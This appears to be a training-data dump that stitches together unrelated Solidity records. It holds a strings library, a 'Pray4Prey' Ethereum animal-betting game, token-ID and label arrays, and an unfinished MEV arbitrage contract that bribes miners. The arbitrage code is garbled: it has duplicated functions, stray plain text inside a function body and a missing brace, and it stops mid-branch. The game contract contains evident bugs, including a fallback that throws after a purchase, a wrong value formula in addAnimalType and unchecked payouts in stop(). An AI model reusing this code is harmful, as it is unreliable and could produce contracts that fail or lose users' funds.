ret = b & 0x0F;
len = 3;
} else {
ret = b & 0x07;
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
return 0;
}
for (uint i = 1; i < len; i++) {
div = div / 256;
b = (word / div) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/**
* @dev Returns the keccak-256 hash of the slice.
* @param self The slice to hash.
* @return The hash of the slice.
*/
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := sha3(mload(add(self, 32)), mload(self))
}
}
/**
* @dev Returns true if `self` starts with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
/**
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
/**
* @dev Returns true if the slice ends with `needle`.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return True if the slice starts with the provided text, false otherwise.
*/
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
/**
* @dev If `self` ends with `needle`, `needle` is removed from the
* end of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
/**
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
/**
* @dev Modifies `self` to contain the part of the string from the start of
* `self` to the end of the first occurrence of `needle`. If `needle`
* is not found, `self` is set to the empty slice.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
/**
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and `token` to everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
/**
* @dev Splits the slice, setting `self` to everything after the first
* occurrence of `needle`, and returning everything before it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` up to the first occurrence of `delim`.
*/
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
/**
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and `token` to everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and `token` is set to the entirety of `self`.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @param token An output parameter to which the first token is written.
* @return `token`.
*/
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
/**
* @dev Splits the slice, setting `self` to everything before the last
* occurrence of `needle`, and returning everything after it. If
* `needle` does not occur in `self`, `self` is set to the empty slice,
* and the entirety of `self` is returned.
* @param self The slice to split.
* @param needle The text to search for in `self`.
* @return The part of `self` after the last occurrence of `delim`.
*/
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
/**
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return The number of occurrences of `needle` found in `self`.
*/
function count(slice self, slice needle) internal returns (uint count) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
count++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/**
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/**
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/**
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint len = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
len += parts[i]._len;
var ret = new string(len);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
contract mortal {
address owner;
function mortal() {
owner = msg.sender;
}
function kill() internal {
suicide(owner);
}
}
contract Pray4Prey is mortal, usingOraclize {
using strings
for * ;
struct Animal {
uint8 animalType;
uint128 value;
address owner;
}
/** array holding ids of the curret animals*/
uint32[] public ids;
/** the id to be given to the net animal **/
uint32 public nextId;
/** the id of the oldest animal */
uint32 public oldest;
/** the animal belonging to a given id */
mapping(uint32 => Animal) animals;
/** the cost of each animal type */
uint128[] public costs;
/** the value of each animal type (cost - fee), so it's not necessary to compute it each time*/
uint128[] public values;
/** the fee to be paid each time an animal is bought in percent*/
uint8 fee;
/** total number of animals in the game
(!=sum of the lengths of the prey animals arrays, since those arrays contain holes) */
uint16 public numAnimals;
/** The maximum of animals allowed in the game */
uint16 public maxAnimals;
/** number of animals per type */
mapping(uint8 => uint16) public numAnimalsXType;
/** the query string getting the random numbers from oraclize**/
string randomQuery;
/** the type of the oraclize query**/
string queryType;
/** the timestamp of the next attack **/
uint public nextAttackTimestamp;
/** gas provided for oraclize callback (attack)**/
uint32 public oraclizeGas;
/** the id of the next oraclize callback*/
bytes32 nextAttackId;
/** is fired when new animals are purchased (who bought how many animals of which type?) */
event newPurchase(address player, uint8 animalType, uint8 amount, uint32 startId);
/** is fired when a player leaves the game */
event newExit(address player, uint256 totalBalance);
/** is fired when an attack occures */
event newAttack(uint32[] killedAnimals);
/** expected parameters: the costs per animal type and the game fee in percent
* assumes that the cheapest animal is stored in [0]
*/
function Pray4Prey() {
costs = [100000000000000000,200000000000000000,500000000000000000,1000000000000000000,5000000000000000000];
fee = 5;
for (uint8 i = 0; i < costs.length; i++) {
values.push(costs[i] - costs[i] / 100 * fee);
}
maxAnimals = 300;
randomQuery = "10 random numbers between 1 and 1000";
queryType = "WolframAlpha";
oraclizeGas = 400000;
nextId = 1;
oldest = 1;
}
/** The fallback function runs whenever someone sends ether
Depending of the value of the transaction the sender is either granted a prey or
the transaction is discarded and no ether accepted
In the first case fees have to be paid*/
function() payable {
for (uint8 i = 0; i < costs.length; i++)
if (msg.value == costs[i])
addAnimals(i);
if (msg.value == 1000000000000000)
exit();
else
throw;
}
/** buy animals of a given type
* as many animals as possible are bought with msg.value
*/
function addAnimals(uint8 animalType) payable {
giveAnimals(animalType, msg.sender);
}
/** buy animals of a given type forsomeone else
* as many animals as possible are bought with msg.value
*/
function giveAnimals(uint8 animalType, address receiver) payable {
uint8 amount = uint8(msg.value / costs[animalType]);
if (animalType >= costs.length || msg.value < costs[animalType] || numAnimals + amount >= maxAnimals) throw;
//if type exists, enough ether was transferred and there are less than maxAnimals animals in the game
for (uint8 j = 0; j < amount; j++) {
addAnimal(animalType, receiver);
}
numAnimalsXType[animalType] += amount;
newPurchase(receiver, animalType, amount, nextId-amount);
}
/**
* adds a single animal of the given type
*/
function addAnimal(uint8 animalType, address receiver) internal {
if (numAnimals < ids.length)
ids[numAnimals] = nextId;
else
ids.push(nextId);
animals[nextId] = Animal(animalType, values[animalType], receiver);
nextId++;
numAnimals++;
}
/** leave the game
* pays out the sender's winBalance and removes him and his animals from the game
* */
function exit() {
uint balance = cleanUp(msg.sender); //delete the animals
newExit(msg.sender, balance); //fire the event to notify the client
if (!msg.sender.send(balance)) throw;
}
/**
* Deletes the animals of a given player
* */
function cleanUp(address playerAddress) internal returns(uint playerBalance){
uint32 lastId;
for (uint16 i = 0; i < numAnimals; i++) {
if (animals[ids[i]].owner == playerAddress) {
//first delete all animals at the end of the array
while (numAnimals > 0 && animals[ids[numAnimals - 1]].owner == playerAddress) {
numAnimals--;
lastId = ids[numAnimals];
numAnimalsXType[animals[lastId].animalType]--;
playerBalance+=animals[lastId].value;
delete animals[lastId];
}
//if the last animal does not belong to the player, replace the players animal by this last one
if (numAnimals > i + 1) {
playerBalance+=animals[ids[i]].value;
replaceAnimal(i);
}
}
}
}
/**
* Replaces the animal with the given id with the last animal in the array
* */
function replaceAnimal(uint16 index) internal {
numAnimalsXType[animals[ids[index]].animalType]--;
numAnimals--;
uint32 lastId = ids[numAnimals];
animals[ids[index]] = animals[lastId];
ids[index] = lastId;
delete ids[numAnimals];
}
/**
* manually triggers the attack. cannot be called afterwards, except
* by the owner if and only if the attack wasn't launched as supposed, signifying
* an error ocurred during the last invocation of oraclize, or there wasn't enough ether to pay the gas
* */
function triggerAttackManually(uint32 inseconds) {
if (!(msg.sender == owner && nextAttackTimestamp < now + 300)) throw;
triggerAttack(inseconds, (oraclizeGas + 10000 * numAnimals));
}
/**
* sends a query to oraclize in order to get random numbers in 'inseconds' seconds
*/
function triggerAttack(uint32 inseconds, uint128 gasAmount) internal {
nextAttackTimestamp = now + inseconds;
nextAttackId = oraclize_query(nextAttackTimestamp, queryType, randomQuery, gasAmount );
}
/**
* The actual predator attack.
* The predator kills up to 10 animals, but in case there are less than 100 animals in the game up to 10% get eaten.
* */
function __callback(bytes32 myid, string result) {
if (msg.sender != oraclize_cbAddress() || myid != nextAttackId) throw; // just to be sure the calling address is the Oraclize authorized one and the callback is the expected one
uint128 pot;
uint16 random;
uint16 howmany = numAnimals < 100 ? (numAnimals < 10 ? 1 : numAnimals / 10) : 10; //do not kill more than 10%, but at least one
uint16[] memory randomNumbers = getNumbersFromString(result, ",", howmany);
uint32[] memory killedAnimals = new uint32[](howmany);
for (uint8 i = 0; i < howmany; i++) {
random = mapToNewRange(randomNumbers[i], numAnimals);
killedAnimals[i] = ids[random];
pot += killAnimal(random);
}
uint128 neededGas = oraclizeGas + 10000*numAnimals;
uint128 gasCost = uint128(neededGas * tx.gasprice);
if (pot > gasCost)
distribute(uint128(pot - gasCost)); //distribute the pot minus the oraclize gas costs
triggerAttack(timeTillNextAttack(), neededGas);
newAttack(killedAnimals);
}
/**
* the frequency of the shark attacks depends on the number of animals in the game.
* many animals -> many shark attacks
* at least one attack in 24 hours
* */
function timeTillNextAttack() constant internal returns(uint32) {
return (86400 / (1 + numAnimals / 100));
}
/**
* kills the animal of the given type at the given index.
* */
function killAnimal(uint16 index) internal returns(uint128 animalValue) {
animalValue = animals[ids[index]].value;
replaceAnimal(index);
if (ids[index] == oldest)
oldest = 0;
}
/**
* finds the oldest animal
* */
function findOldest() internal returns(uint128 animalValue) {
oldest = ids[0];
for (uint16 i = 1; i < numAnimals; i++){
if(ids[i] < oldest)//the oldest animal has the lowest id
oldest = ids[i];
}
}
/** distributes the given amount among the surviving fishes*/
function distribute(uint128 totalAmount) internal {
//pay 10% to the oldest fish
if (oldest == 0)
findOldest();
animals[oldest].value += totalAmount / 10;
uint128 amount = totalAmount / 10 * 9;
//distribute the rest according to their type
uint128 valueSum;
uint128[] memory shares = new uint128[](values.length);
for (uint8 v = 0; v < values.length; v++) {
if (numAnimalsXType[v] > 0) valueSum += values[v];
}
for (uint8 m = 0; m < values.length; m++) {
if(numAnimalsXType[m] > 0)
shares[m] = amount * values[m] / valueSum / numAnimalsXType[m];
}
for (uint16 i = 0; i < numAnimals; i++) {
animals[ids[i]].value += shares[animals[ids[i]].animalType];
}
}
/**
* allows the owner to collect the accumulated fees
* sends the given amount to the owner's address if the amount does not exceed the
* fees (cannot touch the players' balances) minus 100 finney (ensure that oraclize fees can be paid)
* */
function collectFees(uint128 amount) {
if (!(msg.sender == owner)) throw;
uint collectedFees = getFees();
if (amount + 100 finney < collectedFees) {
if (!owner.send(amount)) throw;
}
}
/**
* pays out the players and kills the game.
* */
function stop() {
if (!(msg.sender == owner)) throw;
for (uint16 i = 0; i < numAnimals; i++) {
animals[ids[i]].owner.send(animals[ids[i]].value);
}
kill();
}
/**
* adds a new animal type to the game
* max. number of animal types: 100
* the cost may not be lower than costs[0]
* */
function addAnimalType(uint128 cost) {
if (!(msg.sender == owner)) throw;
costs.push(cost);
values.push(cost / 100 * fee);
}
function sellAnimal(uint32 animalId){
if(msg.sender!=animals[animalId].owner) throw;
uint128 val = animals[animalId].value;
uint16 animalIndex;
for(uint16 i = 0; i < ids.length; i++){
if(ids[i]==animalId){
animalIndex = i;
break;
}
}
replaceAnimal(animalIndex);
if(!msg.sender.send(val)) throw;
}
/****************** GETTERS *************************/
function getPlayerBalance(address playerAddress) constant returns(uint128 playerBalance) {
for (uint16 i = 0; i < numAnimals; i++) {
if (animals[ids[i]].owner == playerAddress) playerBalance += animals[ids[i]].value;
}
}
function getAnimal(uint32 animalId) constant returns(uint8, uint128, address){
return (animals[animalId].animalType,animals[animalId].value,animals[animalId].owner);
}
function get10Animals(uint16 startIndex) constant returns(uint32[10] animalIds, uint8[10] types, uint128[10] values, address[10] owners) {
uint16 endIndex= startIndex+10 > numAnimals? numAnimals: startIndex+10;
uint8 j = 0;
uint32 id;
for (uint16 i = startIndex; i < endIndex; i++){
id=ids[i];
animalIds[j] = id;
types[j] = animals[id].animalType;
values[j] = animals[id].value;
owners[j] = animals[id].owner;
j++;
}
}
function getFees() constant returns(uint) {
uint reserved = 0;
for (uint16 j = 0; j < numAnimals; j++)
reserved += animals[ids[j]].value;
return address(this).balance - reserved;
}
/****************** SETTERS *************************/
function setOraclizeGas(uint32 newGas) {
if (!(msg.sender == owner)) throw;
oraclizeGas = newGas;
}
function setMaxAnimals(uint16 number) {
if (!(msg.sender == owner)) throw;
maxAnimals = number;
}
/************* HELPERS ****************/
/**
* maps a given number to the new range (old range 1000)
* */
function mapToNewRange(uint number, uint range) constant internal returns(uint16 randomNumber) {
return uint16(number * range / 1000);
}
/**
* converts a string of numbers being separated by a given delimiter into an array of numbers (#howmany)
*/
function getNumbersFromString(string s, string delimiter, uint16 howmany) constant internal returns(uint16[] numbers) {
strings.slice memory myresult = s.toSlice();
strings.slice memory delim = delimiter.toSlice();
numbers = new uint16[](howmany);
for (uint8 i = 0; i < howmany; i++) {
numbers[i] = uint16(parseInt(myresult.split(delim).toString()));
}
return numbers;
}
}
| * the id to be given to the net animal **/ | uint32 public nextId;
| 993,394 | [
1,
5787,
612,
358,
506,
864,
358,
326,
2901,
392,
2840,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
11890,
1578,
1071,
1024,
548,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x5E4B08E370BA88319385B4f28840fA19efa4275b/sources/hw.sol | 0-1 IERC20 internal constant weth=IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 internal constant weth=IERC20(0x29bD7e4d15a3439b062583d6953A576B132c81c1); IERC20 internal constant weth=IERC20(0x62cC5288158FEe60F414679fA6e70a2Dd30085f8); | contract simple_swap is IUniswapV3SwapCallback {
address owner;
IERC20 internal constant weth=IERC20(0xd0A1E359811322d97991E03f863a0C30C2cF029C);
uint160 internal constant MIN_SQRT_RATIO__ = 4295128740;
uint160 internal constant MAX_SQRT_RATIO__ = 1461446703485210103287273052203988822378723970341;
constructor() {
owner=msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function drawToken(address token,uint amount)public onlyOwner{
IERC20 erc20=IERC20(token);
if(amount>0){
erc20.transfer(owner,amount);
}
else{
uint bal=erc20.balanceOf(address(this));
erc20.transfer(owner,bal);
}
}
function drawToken(address token,uint amount)public onlyOwner{
IERC20 erc20=IERC20(token);
if(amount>0){
erc20.transfer(owner,amount);
}
else{
uint bal=erc20.balanceOf(address(this));
erc20.transfer(owner,bal);
}
}
function drawToken(address token,uint amount)public onlyOwner{
IERC20 erc20=IERC20(token);
if(amount>0){
erc20.transfer(owner,amount);
}
else{
uint bal=erc20.balanceOf(address(this));
erc20.transfer(owner,bal);
}
}
function drawETH(address to) public payable onlyOwner {
uint256 val=address(this).balance;
payable(to).transfer(val);
}
function approve(address token,address spender,uint amount)public onlyOwner{
IERC20 erc20=IERC20(token);
erc20.approve(spender,amount);
}
function V2Swap(address pair,uint amount0Out, uint amount1Out, address to) internal
{
IUniswapV2Pair(pair).swap(amount0Out,amount1Out,to,new bytes(0));
}
function V3Swap(address pair,address recipient,
bool zeroForOne,
int256 amountSpecified,
bytes memory data) internal
{
uint160 sqrtPriceLimitX96=zeroForOne?4295128740 : 1461446703485210103287273052203988822378723970341;
IUniswapV3Pool(pair).swap(recipient, zeroForOne,amountSpecified,sqrtPriceLimitX96,data);
}
function BalSwap(address pair,address tokenIn,address tokenOut,
uint amountIn,bool needApprove) internal returns(uint balOut)
{
if(needApprove){
tokenIn.call(abi.encodeWithSelector(0x095ea7b3, pair, type(uint).max));
}
(balOut,)= IBPool(pair).swapExactAmountIn(tokenIn,amountIn,tokenOut,0,type(uint).max);
}
function BalSwap(address pair,address tokenIn,address tokenOut,
uint amountIn,bool needApprove) internal returns(uint balOut)
{
if(needApprove){
tokenIn.call(abi.encodeWithSelector(0x095ea7b3, pair, type(uint).max));
}
(balOut,)= IBPool(pair).swapExactAmountIn(tokenIn,amountIn,tokenOut,0,type(uint).max);
}
function TopSwap(address pair,address tokenIn,address tokenOut,
uint amountIn,bool needApprove) internal returns(uint balOut)
{
if(needApprove){
tokenIn.call(abi.encodeWithSelector(0x095ea7b3, pair, type(uint).max));
}
(balOut,)= IBPool(pair).swapExactAmountIn(tokenIn,amountIn,tokenOut,0,type(uint).max);
}
function TopSwap(address pair,address tokenIn,address tokenOut,
uint amountIn,bool needApprove) internal returns(uint balOut)
{
if(needApprove){
tokenIn.call(abi.encodeWithSelector(0x095ea7b3, pair, type(uint).max));
}
(balOut,)= IBPool(pair).swapExactAmountIn(tokenIn,amountIn,tokenOut,0,type(uint).max);
}
function wethTransfer(address to, uint value) internal
{
IERC20 weth_base=IERC20(0x29bD7e4d15a3439b062583d6953A576B132c81c1);
weth_base.transfer(to,value);
}
function erc20Transfer(address token, address to ,uint value) internal{
token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
